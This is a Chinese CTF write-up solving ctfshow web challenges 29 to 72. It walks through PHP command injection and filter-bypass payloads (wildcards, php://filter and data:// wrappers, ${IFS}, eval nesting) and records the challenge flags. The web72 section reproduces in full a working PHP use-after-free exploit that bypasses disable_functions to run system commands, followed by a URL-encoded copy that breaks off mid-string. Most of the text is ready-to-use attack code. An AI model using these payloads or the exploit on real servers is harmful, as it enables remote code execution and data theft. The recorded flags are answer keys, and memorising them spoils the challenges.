web29
可以看到过滤了flag字样
但我们可以通过通配符绕过flag,比如用fla?来表示flag
先用?c=sy
stem('ls');
来观察该目录下存在的文件,发现了flag.php
然后使用?c=system('cp fla?.php 1.txt');
将flag.php
的内容配对到1.txt
中
然后访问1.txt
即可得到flag
得到flag
web30
发现新过滤了system
以及php
这两个关键字
我们此时可以通过反引号```来代替system,继续利用通配符?
来配对php
字样
则payload
?c=`cp fla?.??? 1.txt`;
然后再访问1.txt
即可
web31
发现新过滤了cat,sort,shell,小数点,空格,单引号
等字样
我们可以通过eval嵌套执行get的第一个参数
payload:
?c=eval($_GET[1]);&1=system('cat flag.php');
这里payload使得1这个参数逃逸出来了,它不属于c,那么这些ban掉的字符对于1来说是无效的,对1来说没有什么过滤的地方了我们直接cat flag.php
即可
这里有一点就是执行之后页面是空白的,只有查看源代码才能发现flag
web32
过滤了括号以及分号
%0a换行符
include函数不用括号 分号可以用?>代替
payload:
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
放入base64解码即可的到flag
ctfshow{b0422ea2-802f-423d-9675-1c235a0d0690}
web33
本题多过滤了一个双引号,这题用require函数
payload:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
flag="ctfshow{ca648c78-4720-44ac-99c5-184284d0d8f0}"
web34
过滤又增加了:
依然可以用之前的方法
payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
flag="ctfshow{8429b46f-8ffc-40b4-b4b0-8a1f25a175fd}
web35
又多过滤了<,依然可以用之前的方法
payload:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
flag="ctfshow{5e9c8591-1df1-45de-9146-63c8075896e2}"
web36
又增加了数字.emmmm…依然可以用之前的方法。只不过换成字母
payload:
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
flag="ctfshow{d25a5fe9-07ad-4984-9f45-ebbeb272efe2}"
web37
与之前不同的是这里包含了一个c:include($c);
这题我们可以通过data伪协议读取
payload: ?c=data://text/plain,<?php system('tac fla?.php');?>
这个data协议是将后面的字符串当作php代码来执行,自然就通过执行system('tac fla?.php')成功的获取到了flag
data://伪协议
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;
flag="ctfshow{9a2d8846-a9e3-45a0-a8c1-e9efd8d8e8a0}"
web38
打开这题发现php被过滤了,但这题php代码这里可以使用php短标签进行绕过,flag.php这可继续用通配符?绕过
payload:?c=data://text/plain,<?=system('tac fla?.???')?>
说明:‘<?=’是PHP的一个短的开放式标签,是echo的开放式用法。
flag="ctfshow{95735898-480e-456e-b676-048c4ef7edd4}"
web39
在这不同的是include($c);
后面加了个.php
但在这我们可以使用上次的payload:
?c=data://text/plain,<?=system('tac fla?.php')?>
因为这里我们的php代码已经闭合,.php
就起不到执行的效果,只能被当作字符串输出
flag="ctfshow{0981bc71-7135-4f3f-89ed-f673cb96a631}"
web40
发现基本所有符号都被过滤了
大概只剩下了分号,下划线,以及英文括号(观察很久才发现题目过滤的是中文括号)
打印当初路径下文件的函数:print_r(scandir('.'))
但是很明显单引号和小数点已经过滤了,这里要先办法绕过
最简单的方法是利用函数传参,那就找当前能用包含小数点的函数
localeconv() 返回一包含本地数字及货币格式信息的数组
那么按找接下来思路就是构造:print_r(scandir(localeconv()[0]))
但是这个函数是不能localeconv()[0]这样返回的,而且方括号也被过滤了,那么就要用到别的函数
1.current() 函数返回数组中的当前元素(单元),默认取第一个值,
2.pos() 同 current() ,是current()的别名
3.reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
这里三个函数都可以用
因此打印当前目录:?c=print_r(scandir(pos(localeconv())));
从此目录发现了flag.php
这里可以的用next()
输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个)
但是flag在第三个怎么办?可以用array_reverse函数
这个函数就是将数组转置;
所以payload:?c=print_r(next(array_reverse(scandir(pos(localeconv())))));
可以到达flag.php这个目录,接下来我们查看他的代码即可得到flag
最终payload: ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
得到flag
flag="ctfshow{b12df84f-6572-43b3-bfd9-264aaa6c358a}"
web42
利用函数:system()
绕过思路:这里是通过>/dev/null 2>&1
把输出的内容不进行回显,相当于一个“黑洞”,我们通过“;”进行截断,回显出flag.
Payload1:?c=ls;
Payload2: ?c=tac flag.php;
flag="ctfshow{116d09a7-18d8-4820-9f1c-5560f110cd73}"
web43
在这基础上又过滤了; cat
payload:
?c=cp flag.php 1.txt||
?c=nl flag.php||
?c=tac flag.php||
flag="ctfshow{019f8347-cd61-484c-adcf-be73bc0fa0e9}"
web44
payload:
?c=tac fl*.php||
?c=cp fl*.php 1.txt||
flag="ctfshow{5804aba2-462e-409f-a24f-518d14df091c}"
web45
%09是Tab的url编码
payload:
?c=tac%09fl*.php||
flag="ctfshow{cf485f41-6502-4363-b00c-34668e23e587}"
web46
过滤条件: cat、flag、空格、数字、$、*
绕过空格现在不能用$IFS
绕过,但是可以用<>
和%09
绕过(注意<
和?
不能连用,至于为什么%09不被过滤是因为上传到服务器就是tab键,不算数字)
绕过flag用问号绕过,fla?.???
payload: ?c=tac<fla%27%27g.php||
web47
过滤条件:分号、flag、空格、数字、$、*、more、less、head、sort、tail
payload: ?c=tac%09fla?.???||
flag="ctfshow{79e888e0-1d34-4bac-9c0f-03e3a005e5a2}"
web48
payload: ?c=tac%09fla?.???||
flag="ctfshow{57c7f273-25eb-4612-b595-3f9ddec3c4b3}"
web49
payload: ?c=tac%09fla?.???||
flag="ctfshow{2d317af5-a32c-462d-a80a-3999688e8a94}"
web50
过滤条件: 分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、%、%09、&(编码后为%26)
绕过空格:这里过滤了tab(%09)
,可以用<
或>
代替,但是<
不能和?
连用
绕过flag:之前用通配符*或?可以绕过,现在可以使用‘’或者/分割绕过
payload:?c=tac<fla\g.php||
flag="ctfshow{3f003165-8b37-49a3-b505-8ad0f4f6e5e7}"
web51
过滤条件:分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)
绕过:看到tac
被禁用了…直接用nl查看
payload:?c=nl<fla\g.php||
然后F12审计源码,就可以看到flag
flag="ctfshow{ec5cdbe1-ac18-4a51-bb2f-3299ffb6cde3}"
web52
过滤条件: 分号、cat、flag、空格、数字、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)、<、>
仔细一看少过滤了个$
,多过滤了<>
,那么这里用${IFS}
,构造
payload:?c=nl${IFS}fla\g.php|| 执行完F12查看源码
$flag="flag_here";
web53
过滤条件: 分号、cat、flag、空格、数字、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)、<、>
题没有将输入指令不执行,直接构造
payload: ?c=nl${IFS}fla?.???
flag="ctfshow{6b54b820-807d-4380-bd48-3dc3dba03ab2}"
web54
加强了正则,不能用*代替,构造
payload: ?c=/bin/??t${IFS}????.???
查看源代码
flag="ctfshow{f1b93dd5-b098-4231-bdc5-4ac2f0f08631}"
web55
过滤条件:a-z 、`、%、%09(tab)、%26(&)、<、>
获取flag的base64编码
url/?c=/???/????64 ????.???
意思为
url/?c=/bin/base64 flag.php
再解码即可
flag="ctfshow{77d1970c-2700-4553-8d54-e7b3f9b9f1c4}"
web58
c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');
得到flag
$flag="ctfshow{c31a4e86-e60b-4d3c-85c0-cc53084cc7c6}";
web59
c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');
得到flag
ctfshow{6b7404bd-78ad-44ae-906d-5c7227f5f13d}
web60
c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');
得到flag
ctfshow{dad65939-2464-40f3-83f2-2a61fbe993a3}
web61
c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');
得到flag
ctfshow{9781bad0-97d3-40f5-88e4-c52d0a58ef1b}
web62
c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');
得到flag
ctfshow{357dfb01-b12a-4c3c-bf4a-99964ef52ca5}
web63
c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');
得到flag
ctfshow{da4cce89-968a-461c-8f07-762552e32d7a}
web64
c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');
得到flag
ctfshow{9d724213-96a1-4e6d-a020-e9443843e276}
web65
c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');
得到flag
ctfshow{b8a80a07-c746-4d75-86fb-10c2aefed055}
web66
system是被ban的 但是scandir没有
所以去看了一下目录 当前目录没东西 根目录下发现flag.txtshow_source
也没了 用highlight_file
c=print_r(scandir('/'));
c=highlight_file('/flag.txt');
得到flag
ctfshow{469c95d7-d595-4512-96af-345074acf4d6}
看大佬博客之后发现也可以利用文件包含
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');新学的
百度了一下 require_once()和require() 区别只是
require_once()语句在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。此行为和require()语句类似,唯一区别是如果该文件中的代码已经被包含了,则不会再次包含
web67
还可以使用web66的方法
c=print_r(scandir('/'));
c=highlight_file('/flag.txt');
得到flag
ctfshow{a1e7bfbd-ba87-485b-a16f-8816ce0ab7ed}
web68
奇怪的两题 进去index.php都无 尝试包含一下 报错
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried
to allocate 262144 bytes) in /var/www/html/index.php(17) : eval()'d
code on line 1
hint里面说的是 发现字节太大了 直接盲猜 c=include(’/flag.txt’)
抱着练习的心理 我们去尝试一下其他的 用上一题的payload看根目录 发现print_r没了
但是我们还有var_dump() 然后同上
得到flag
ctfshow{91a0573e-03d6-4684-88ca-2266a8249a9e}
web69
和第68题一样的方法
得到flag
ctfshow{ff075333-8954-4dab-a94d-70c54b5efbb5}
web70
命令执行,突破禁用函数,求你们别秀了
查看根目录,flag还是在根目录里
c=var_dump(scandir('/'));
highlight_file()也被禁用了,直接包含include尝试一下
payload:
c=include('/flag.txt');
得到flag
ctfshow{d627118e-6473-4dc4-ae09-103b27f821f5}
web71
题目下面有个附件,源码如下
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
执行var_dump(’/’);出现
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.???(??) : ????()'? ???? ?? ???? ? 你要上天吗?
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
先将缓冲区数据获取给$s,再清除,然后将数字和小写字母全变为 ?
我们可以通过exit();提前退出程序,绕过
payload:
c=include('/flag.txt');exit();
得到flag
ctfshow{fc613761-c567-416c-8496-3401e1d77659}
web72
源码和上题一样
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
直接利用php脚本读目录
使用glob://伪协议绕过open_basedir
c=?><?php $a=new DirectoryIterator("glob://./*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
uaf绕过open_basedir执行命令
poc(需要url编码)
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
payload
c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_le